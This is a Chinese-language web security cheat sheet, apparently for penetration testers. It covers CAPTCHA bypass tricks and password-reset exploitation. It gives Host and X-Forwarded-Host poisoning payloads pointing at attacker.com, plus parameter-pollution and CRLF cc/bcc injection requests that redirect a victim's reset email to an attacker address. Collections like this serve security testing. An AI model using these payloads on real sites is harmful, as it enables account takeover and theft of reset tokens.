验证码绕过

验证码存在于很多方面,有时候我们如果想要测试一些功能需要绕过验证码的检查

  • 不发送验证码
    • 修改请求为 GET 或其他
    • 修改为 JSON 请求数据
  • 发送验证码为空
  • 检查验证码是否位于源代码中泄露
  • 检查该值是否存在于 Cookie 中
  • 尝试是否可以使用旧验证码
  • 检查是否可以使用相同或不同的 sessionID多次使用相同的验证码值。
  • 如果验证码包含数学运算,请尝试自动计算
  • 如果验证码由从图像中读取的字符组成,请手动或使用代码检查使用了多少图像,如果只使用了少数图像,则通过 MD5 检测它们
  • 使用第三方工具

密码重置利用

利用 HTTP Header 漏洞

有时候后端可能会根据 HTTP Header 的信息来和后端内容整合来进行下一步操作.

当出现此漏洞时,我们只需要拦截请求并修改其中内容

  1. Host: attacker.com
  1. Host: target.com
  2. X-Forwarded-Host: attacker.com
  1. Host: target.com
  2. Host: attacker.com

检查电子邮件中修改密码的链接是否指向 attacker.com

这时候如果后端使用

  1. $resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";

受害者点击链接就会先我们的服务器发送一个密码重置链接或令牌泄露给我们

利用电子邮件参数重置密码

  • 使用 & 添加第二个电子邮件
  1. POST /resetPassword
  2. [...]
  3. email=victim@email.com&email=attacker@email.com
  • 使用 %20添加攻击者电子邮件
  1. POST /resetPassword
  2. [...]
  3. email=victim@email.com%20email=attacker@email.com
  • 使用 | 添加攻击者电子邮件
  1. POST /resetPassword
  2. [...]
  3. email=victim@email.com|email=attacker@email.com
  • 使用 cc 添加攻击者电子邮件
  1. POST /resetPassword
  2. [...]
  3. email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • 使用 bcc 添加攻击者电子邮件
  1. POST /resetPassword
  2. [...]
  3. email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • 使用 ,添加攻击者电子邮件
  1. POST /resetPassword
  2. [...]
  3. email="victim@mail.tld",email="attacker@mail.tld"
  • 使用 json 添加攻击者电子邮件
  1. POST /resetPassword
  2. [...]
  3. {"email":["victim@mail.tld","atracker@mail.tld"]}